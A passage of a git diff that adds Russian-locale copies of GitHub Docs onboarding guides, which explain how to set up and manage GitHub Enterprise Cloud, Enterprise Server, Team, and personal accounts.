%}](/pages/getting-started-with-github-pages/about-github-pages)." +## Part 7: Participating in {% data variables.product.prodname_dotcom %}'s community + +Members of your organization or enterprise can use GitHub's learning and support resources to get the help they need. You can also support the open source community. + +### 1. Reading about {% data variables.product.prodname_ghe_cloud %} on {% data variables.product.prodname_docs %} +You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)." + +{% data reusables.enterprise.best-practices %} + +### 2. Learning with {% data variables.product.prodname_learning %} +Members of your organization or enterprise can learn new skills by completing fun, realistic projects in your very own GitHub repository with [{% data variables.product.prodname_learning %}](https://skills.github.com/). Each course is a hands-on lesson created by the GitHub community and taught by a friendly bot. + +For more information, see "[Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/quickstart/git-and-github-learning-resources)." +### 3. Supporting the open source community +{% data reusables.getting-started.sponsors %} + +### 4. Contacting {% data variables.contact.github_support %} +{% data reusables.getting-started.contact-support %} + +{% data variables.product.prodname_ghe_cloud %} allows you to submit priority support requests with a target eight-hour response time. For more information, see "[{% data variables.product.prodname_ghe_cloud %} support](/github/working-with-github-support/github-enterprise-cloud-support)." diff --git a/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-enterprise-server.md b/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-enterprise-server.md new file mode 100644 index 000000000000..f3368b385c7a --- /dev/null +++ b/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-enterprise-server.md @@ -0,0 +1,128 @@ +--- +title: Getting started with GitHub Enterprise Server +intro: 'Get started with setting up and managing {% data variables.location.product_location %}.' +versions: + ghes: '*' +--- + +This guide will walk you through setting up, configuring and managing {% data variables.location.product_location %} as an enterprise administrator. + +{% data variables.product.company_short %} provides two ways to deploy {% data variables.product.prodname_enterprise %}. + +- **{% data variables.product.prodname_ghe_cloud %}** +- **{% data variables.product.prodname_ghe_server %}** + +{% data variables.product.company_short %} hosts {% data variables.product.prodname_ghe_cloud %}. You can deploy and host {% data variables.product.prodname_ghe_server %} in your own datacenter or a supported cloud provider. + +For more information about {% data variables.product.product_name %}, see "[About {% data variables.product.prodname_ghe_server %}](/admin/overview/about-github-enterprise-server)." + +## Part 1: Installing {% data variables.product.product_name %} +To get started with {% data variables.product.product_name %}, you will need to create your enterprise account, install the instance, use the Management Console for initial setup, configure your instance, and manage billing. +### 1. Creating your enterprise account +Before you install {% data variables.product.product_name %}, you can create an enterprise account on {% data variables.product.prodname_dotcom_the_website %} by contacting [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). An enterprise account on {% data variables.product.prodname_dotcom_the_website %} is useful for billing and for shared features with {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +### 2. Installing {% data variables.product.product_name %} +To get started with {% data variables.product.product_name %}, you will need to install the appliance on a virtualization platform of your choice. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)." + +### 3. Using the Management Console +You will use the Management Console to walk through the initial setup process when first launching {% data variables.location.product_location %}. You can also use the Management Console to manage instance settings such as the license, domain, authentication, and TLS. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)." + +### 4. Configuring {% data variables.location.product_location %} +In addition to the Management Console, you can use the site admin dashboard and the administrative shell (SSH) to manage {% data variables.location.product_location %}. For example, you can configure applications and rate limits, view reports, use command-line utilities. For more information, see "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)." + +You can use the default network settings used by {% data variables.product.product_name %} via the dynamic host configuration protocol (DHCP), or you can also configure the network settings using the virtual machine console. You can also configure a proxy server or firewall rules. For more information, see "[Configuring network settings](/admin/configuration/configuring-network-settings)." + +### 5. Configuring high availability +You can configure {% data variables.location.product_location %} for high availability to minimize the impact of hardware failures and network outages. For more information, see "[Configuring high availability](/admin/enterprise-management/configuring-high-availability)." + +### 6. Setting up a staging instance +You can set up a staging instance to test modifications, plan for disaster recovery, and try out updates before applying them to {% data variables.location.product_location %}. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." + +### 7. Designating backups and disaster recovery +To protect your production data, you can configure automated backups of {% data variables.location.product_location %} with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)." + +### 8. Managing billing for your enterprise +Billing for all the organizations and {% data variables.product.product_name %} instances connected to your enterprise account is aggregated into a single bill charge for all of your paid {% data variables.product.prodname_dotcom %}.com services. Enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)." + +## Part 2: Organizing and managing your team +As an enterprise owner or administrator, you can manage settings on user, repository, team and organization levels. You can manage members of your enterprise, create and manage organizations, set policies for repository management, and create and manage teams. + +### 1. Managing members of {% data variables.location.product_location %} +{% data reusables.getting-started.managing-enterprise-members %} + +### 2. Creating organizations +{% data reusables.getting-started.creating-organizations %} + +### 3. Adding members to organizations +{% data reusables.getting-started.adding-members-to-organizations %} + +### 4. Creating teams +{% data reusables.getting-started.creating-teams %} + +### 5. Setting organization and repository permission levels +{% data reusables.getting-started.setting-org-and-repo-permissions %} + +### 6. Enforcing repository management policies +{% data reusables.getting-started.enforcing-repo-management-policies %} + +## Part 3: Building securely +To increase the security of {% data variables.location.product_location %}, you can configure authentication for enterprise members, use tools and audit logging to stay in compliance, configure security and analysis features for your organizations, and optionally enable {% data variables.product.prodname_GH_advanced_security %}. +### 1. Authenticating enterprise members +You can use {% data variables.product.product_name %}'s built-in authentication method, or you can choose between an external authentication provider, such as CAS, LDAP, or SAML, to integrate your existing accounts and centrally manage user access to {% data variables.location.product_location %}. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)." + +You can also require two-factor authentication for each of your organizations. For more information, see "[Requiring two factor authentication for an organization](/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization)." + +### 2. Staying in compliance +You can implement required status checks and commit verifications to enforce your organization's compliance standards and automate compliance workflows. You can also use the audit log for your organization to review actions performed by your team. For more information, see "[Enforcing policy with pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks)" and "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)." + +{% ifversion ghes %} +### 3. Configuring security features for your organizations +{% data reusables.getting-started.configuring-security-features %} +{% endif %} + +{% ifversion ghes %} +### 4. Enabling {% data variables.product.prodname_GH_advanced_security %} features +You can upgrade your {% data variables.product.product_name %} license to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code, such as code and secret scanning. For more information, see "[{% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)." +{% endif %} + +## Part 4: Customizing and automating your enterprise's work on {% data variables.product.prodname_dotcom %} +You can customize and automate work in organizations in your enterprise with {% data variables.product.prodname_dotcom %} and {% data variables.product.prodname_oauth_apps %}, {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} , and {% data variables.product.prodname_pages %}. + +### 1. Building {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} +You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)." +### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API +{% data reusables.getting-started.api %} + +{% ifversion ghes %} +### 3. Building {% data variables.product.prodname_actions %} +{% data reusables.getting-started.actions %} + +For more information on enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." + +### 4. Publishing and managing {% data variables.product.prodname_registry %} +{% data reusables.getting-started.packages %} + +For more information on enabling and configuring {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)." +{% endif %} + +### 5. Using {% data variables.product.prodname_pages %} +{% data reusables.getting-started.github-pages-enterprise %} + +## Part 5: Connecting with other {% data variables.product.prodname_dotcom %} resources +You can use {% data variables.product.prodname_github_connect %} to share resources. + +If you are the owner of both a {% data variables.product.product_name %} instance and a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account, you can enable {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} allows you to share specific workflows and features between {% data variables.location.product_location %} and {% data variables.product.prodname_ghe_cloud %}, such as unified search and contributions. For more information, see "[Connecting {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)." + +## Part 6: Using {% data variables.product.prodname_dotcom %}'s learning and support resources +Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need when setting up and managing {% data variables.location.product_location %} with {% data variables.product.prodname_dotcom %} Enterprise Support. + +### 1. Reading about {% data variables.product.product_name %} on {% data variables.product.prodname_docs %} + +You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_server %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)." + +{% data reusables.enterprise.best-practices %} + +### 2. Learning with {% data variables.product.prodname_learning %} +{% data reusables.getting-started.learning-enterprise %} + +### 3. Working with {% data variables.product.prodname_dotcom %} Enterprise Support +{% data reusables.getting-started.contact-support-enterprise %} diff --git a/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-team.md b/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-team.md new file mode 100644 index 000000000000..0f9f02a3eff8 --- /dev/null +++ b/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-team.md @@ -0,0 +1,99 @@ +--- +title: Getting started with GitHub Team +intro: 'With {% data variables.product.prodname_team %} groups of people can collaborate across many projects at the same time in an organization account.' +versions: + fpt: '*' +--- + +This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_team %} account as an organization owner. + +## Part 1: Configuring your account on {% data variables.location.product_location %} +As the first steps in starting with {% data variables.product.prodname_team %}, you will need to create a personal account or log into your existing account on {% data variables.product.prodname_dotcom %}, create an organization, and set up billing. + +### 1. About organizations +Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features. For more information on the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)." + +### 2. Creating an organization and signing up for {% data variables.product.prodname_team %} +Before creating an organization, you will need to create a personal account or log in to your existing account on {% data variables.location.product_location %}. For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)." + +Once your personal account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." + +### 3. Managing billing for an organization +You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. For more information, see "[Switching between settings for your different accounts](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)." + +Your organization's billing settings page allows you to manage settings like your payment method, billing cycle and billing email, or view information such as your subscription, billing date and payment history. You can also view and upgrade your storage and GitHub Actions minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)." + +Only organization members with the *owner* or *billing manager* role can access or change billing settings for your organization. A billing manager is someone who manages the billing settings for your organization and does not use a paid license in your organization's subscription. For more information on adding a billing manager to your organization, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)." + + +## Part 2: Adding members and setting up teams +After creating your organization, you can invite members and set permissions and roles. You can also create different levels of teams and set customized levels of permissions for your organization's repositories, project boards, and apps. + +### 1. Managing members of your organization +{% data reusables.getting-started.managing-org-members %} + +### 2. Organization permissions and roles +{% data reusables.getting-started.org-permissions-and-roles %} + +### 3. About and creating teams +{% data reusables.getting-started.about-and-creating-teams %} +### 4. Managing team settings +{% data reusables.getting-started.managing-team-settings %} + +### 5. Giving people and teams access to repositories, project boards and apps +{% data reusables.getting-started.giving-access-to-repositories-projects-apps %} +## Part 3: Managing security for your organization +You can help to make your organization more secure by recommending or requiring two-factor authentication for your organization members, configuring security features, and reviewing your organization's audit log and integrations. + +### 1. Requiring two-factor authentication +{% data reusables.getting-started.requiring-2fa %} + +### 2. Configuring security features for your organization +{% data reusables.getting-started.configuring-security-features %} + +### 3. Reviewing your organization's audit log and integrations +{% data reusables.getting-started.reviewing-org-audit-log-and-integrations %} + +## Part 4: Setting organization level policies +### 1. Managing organization policies +{% data reusables.getting-started.managing-org-policies %} +### 2. Managing repository changes +{% data reusables.getting-started.managing-repo-changes %} +### 3. Using organization-level community health files and moderation tools +{% data reusables.getting-started.using-org-community-files-and-moderation-tools %} +## Part 5: Customizing and automating your work on {% data variables.product.product_name %} + +{% data reusables.getting-started.customizing-and-automating %} +### 1. Using {% data variables.product.prodname_marketplace %} +{% data reusables.getting-started.marketplace %} +### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API +{% data reusables.getting-started.api %} + +### 3. Building {% data variables.product.prodname_actions %} +{% data reusables.getting-started.actions %} + +### 4. Publishing and managing {% data variables.product.prodname_registry %} +{% data reusables.getting-started.packages %} + +## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community +{% data reusables.getting-started.participating-in-community %} +### 1. Contributing to open source projects +{% data reusables.getting-started.open-source-projects %} + +### 2. Interacting with the {% data variables.product.prodname_gcf %} +{% data reusables.support.ask-and-answer-forum %} + +### 3. Reading about {% data variables.product.prodname_team %} on {% data variables.product.prodname_docs %} +You can read documentation that reflects the features available with {% data variables.product.prodname_team %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)." + +### 4. Learning with {% data variables.product.prodname_learning %} +{% data reusables.getting-started.learning %} + +### 5. Supporting the open source community +{% data reusables.getting-started.sponsors %} + +### 6. Contacting {% data variables.contact.github_support %} +{% data reusables.getting-started.contact-support %} +## Further reading + +- "[Getting started with your GitHub account](/get-started/onboarding/getting-started-with-your-github-account)" diff --git a/translations/ru-RU/content/get-started/onboarding/getting-started-with-your-github-account.md b/translations/ru-RU/content/get-started/onboarding/getting-started-with-your-github-account.md new file mode 100644 index 000000000000..9fe0d1f65c17 --- /dev/null +++ b/translations/ru-RU/content/get-started/onboarding/getting-started-with-your-github-account.md @@ -0,0 +1,203 @@ +--- +title: Getting started with your GitHub account +intro: 'With a personal account on {% data variables.product.prodname_dotcom %}, you can import or create repositories, collaborate with others, and connect with the {% data variables.product.prodname_dotcom %} community.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- + +This guide will walk you through setting up your {% data variables.product.company_short %} account and getting started with {% data variables.product.product_name %}'s features for collaboration and community. + +## Part 1: Configuring your {% data variables.product.prodname_dotcom %} account + +{% ifversion fpt or ghec %} +The first steps in starting with {% data variables.product.product_name %} are to create an account, choose a product that fits your needs best, verify your email, set up two-factor authentication, and view your profile. +{% elsif ghes %} +The first steps in starting with {% data variables.product.product_name %} are to access your account, set up two-factor authentication, and view your profile. +{% elsif ghae %} +The first steps in starting with {% data variables.product.product_name %} are to access your account and view your profile. +{% endif %} + +{% ifversion fpt or ghec %}There are several types of accounts on {% data variables.product.prodname_dotcom %}. {% endif %} Every person who uses {% data variables.product.product_name %} has their own personal account, which can be part of multiple organizations and teams. Your personal account is your identity on {% data variables.location.product_location %} and represents you as an individual. + +{% ifversion fpt or ghec %} +### 1. Creating an account +To sign up for an account on {% data variables.location.product_location %}, navigate to https://github.com/ and follow the prompts. + +To keep your {% data variables.product.prodname_dotcom %} account secure you should use a strong and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)." + +### 2. Choosing your {% data variables.product.prodname_dotcom %} product +You can choose {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} to get access to different features for your personal account. You can upgrade at any time if you are unsure at first which product you want. + +For more information on all of {% data variables.product.prodname_dotcom %}'s plans, see "[{% data variables.product.prodname_dotcom %}'s products](/get-started/learning-about-github/githubs-products)." + +### 3. Verifying your email address +To ensure you can use all the features in your {% data variables.product.product_name %} plan, verify your email address after signing up for a new account. For more information, see "[Verifying your email address](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)." +{% endif %} + +{% ifversion ghes %} +### 1. Accessing your account +The administrator of your {% data variables.product.product_name %} instance will notify you about how to authenticate and access your account. The process varies depending on the authentication mode they have configured for the instance. +{% endif %} + +{% ifversion ghae %} +### 1. Accessing your account +You will receive an email notification once your enterprise owner for {% data variables.product.product_name %} has set up your account, allowing you to authenticate with SAML single sign-on (SSO) and access your account. +{% endif %} + +{% ifversion fpt or ghes or ghec %} +### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configuring two-factor authentication +Two-factor authentication, or 2FA, is an extra layer of security used when logging into websites or apps. We strongly urge you to configure 2FA for the safety of your account. For more information, see "[About two-factor authentication](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)." +{% endif %} +### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Viewing your {% data variables.product.prodname_dotcom %} profile and contribution graph +Your {% data variables.product.prodname_dotcom %} profile tells people the story of your work through the repositories and gists you've pinned, the organization memberships you've chosen to publicize, the contributions you've made, and the projects you've created. For more information, see "[About your profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" and "[Viewing contributions on your profile](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)." + +## Part 2: Using {% data variables.product.product_name %}'s tools and processes +To best use {% data variables.product.product_name %}, you'll need to set up Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer. To effectively collaborate on {% data variables.product.product_name %}, you'll write in issues and pull requests using {% data variables.product.prodname_dotcom %} Flavored Markdown. + +### 1. Learning Git +{% data variables.product.prodname_dotcom %}'s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update using Git. For more information about Git, see the "[Git Handbook](https://guides.github.com/introduction/git-handbook/)" guide. For more information about how Git is used on {% data variables.product.product_name %}, see "[{% data variables.product.prodname_dotcom %} flow](/get-started/quickstart/github-flow)." +### 2. Setting up Git +If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. For more information, see "[Set up Git](/get-started/quickstart/set-up-git)." + +If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. For more information, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." + +Once you install Git, you can connect to {% data variables.product.product_name %} repositories from your local computer, whether your own repository or another user's fork. When you connect to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH. For more information, see "[About remote repositories](/get-started/getting-started-with-git/about-remote-repositories)." + +### 3. Choosing how to interact with {% data variables.product.product_name %} +Everyone has their own unique workflow for interacting with {% data variables.product.prodname_dotcom %}; the interfaces and methods you use depend on your preference and what works best for your needs. + +For more information about how to authenticate to {% data variables.product.product_name %} with each of these methods, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)." + +| **Method** | **Description** | **Use cases** | +| ------------- | ------------- | ------------- | +| Browse to {% data variables.product.prodname_dotcom_the_website %} | If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete most Git-related actions directly in the browser, from creating and forking repositories to editing files and opening pull requests.| This method is useful if you want a visual interface and need to do quick, simple changes that don't require working locally. | +| {% data variables.product.prodname_desktop %} | {% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. For more information on getting started with {% data variables.product.prodname_desktop %}, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." | This method is best if you need or want to work with files locally, but prefer using a visual interface to use Git and interact with {% data variables.product.product_name %}. | +| IDE or text editor | You can set a default text editor like [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) to open and edit your files with Git, use extensions, and view the project structure. For more information, see "[Associating text editors with Git](/github/using-git/associating-text-editors-with-git)." | This is convenient if you are working with more complex files and projects and want everything in one place, since text editors or IDEs often allow you to directly access the command line in the editor. | +| Command line, with or without {% data variables.product.prodname_cli %} | For the most granular control and customization of how you use Git and interact with {% data variables.product.product_name %}, you can use the command line. For more information on using Git commands, see "[Git cheatsheet](/github/getting-started-with-github/quickstart/git-cheatsheet)."<br/><br/> {% data variables.product.prodname_cli %} is a separate command-line tool you can install that brings pull requests, issues, {% data variables.product.prodname_actions %}, and other {% data variables.product.prodname_dotcom %} features to your terminal, so you can do all your work in one place. For more information, see "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)." | This is most convenient if you are already working from the command line, allowing you to avoid switching context, or if you are more comfortable using the command line. | +| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} has a REST API and GraphQL API that you can use to interact with {% data variables.product.product_name %}. For more information, see "[Getting started with the API](/github/extending-github/getting-started-with-the-api)." | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. | +### 4. Writing on {% data variables.product.product_name %} +To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.prodname_dotcom %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)." + +You can learn {% data variables.product.prodname_dotcom %} Flavored Markdown with the "[Communicate using Markdown](https://github.com/skills/communicate-using-markdown)" course on {% data variables.product.prodname_learning %}. + +### 5. Searching on {% data variables.product.product_name %} +Our integrated search allows you to find what you are looking for among the many repositories, users and lines of code on {% data variables.product.product_name %}. You can search globally across all of {% data variables.product.product_name %} or limit your search to a particular repository or organization. For more information about the types of searches you can do on {% data variables.product.product_name %}, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github)." + +Our search syntax allows you to construct queries using qualifiers to specify what you want to search for. For more information on the search syntax to use in search, see "[Searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/searching-on-github)." + +### 6. Managing files on {% data variables.product.product_name %} +With {% data variables.product.product_name %}, you can create, edit, move and delete files in your repository or any repository you have write access to. You can also track the history of changes in a file line by line. For more information, see "[Managing files on {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/managing-files-on-github)." + +## Part 3: Collaborating on {% data variables.product.product_name %} +Any number of people can work together in repositories across {% data variables.product.product_name %}. You can configure settings, create project boards, and manage your notifications to encourage effective collaboration. + +### 1. Working with repositories + +#### Creating a repository +A repository is like a folder for your project. You can have any number of public and private repositories in your personal account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/about-repositories)." + +When you create a new repository, you should initialize the repository with a README file to let people know about your project. For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)." + +#### Cloning a repository +You can clone an existing repository from {% data variables.product.product_name %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. Cloning a repository pulls down a full copy of all the repository data that {% data variables.product.prodname_dotcom %} has at that point in time, including all versions of every file and folder for the project. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)." + +#### Forking a repository +A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. For more information, see "[Working with forks](/github/collaborating-with-pull-requests/working-with-forks)." +### 2. Importing your projects +If you have existing projects you'd like to move over to {% data variables.product.product_name %} you can import projects using the {% data variables.product.prodname_dotcom %} Importer, the command line, or external migration tools. For more information, see "[Importing source code to {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)." + +### 3. Managing collaborators and permissions +You can collaborate on your project with others using your repository's issues, pull requests, and project boards. You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)." + +You are the owner of any repository you create in your personal account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. For more information, see "[Permission levels for a personal account repository](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)." + +### 4. Managing repository settings +As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)." + +### 5. Setting up your project for healthy contributions +{% ifversion fpt or ghec %} +To encourage collaborators in your repository, you need a community that encourages people to use, contribute to, and evangelize your project. For more information, see "[Building Welcoming Communities](https://opensource.guide/building-community/)" in the Open Source Guides. + +By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)." +{% endif %} +{% ifversion ghes or ghae %} +By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)." +{% endif %} + +### 6. Using GitHub Issues and project boards +You can use GitHub Issues to organize your work with issues and pull requests and manage your workflow with project boards. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)" and "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." + +### 7. Managing notifications +Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)." + +### 8. Working with {% data variables.product.prodname_pages %} +You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)." + +{% ifversion discussions %} +### 9. Using {% data variables.product.prodname_discussions %} +You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." +{% endif %} +## Part 4: Customizing and automating your work on {% data variables.product.product_name %} + +{% data reusables.getting-started.customizing-and-automating %} + +{% ifversion fpt or ghec %} +### 1. Using {% data variables.product.prodname_marketplace %} +{% data reusables.getting-started.marketplace %} +{% endif %} +### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API +{% data reusables.getting-started.api %} + +### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Building {% data variables.product.prodname_actions %} +{% data reusables.getting-started.actions %} + +### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %} +{% data reusables.getting-started.packages %} + +## Part 5: Building securely on {% data variables.product.product_name %} +{% data variables.product.product_name %} has a variety of security features that help keep code and secrets secure in repositories. Some features are available for all repositories, while others are only available for public repositories and repositories with a {% data variables.product.prodname_GH_advanced_security %} license. For an overview of {% data variables.product.product_name %} security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." + +### 1. Securing your repository +As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations where 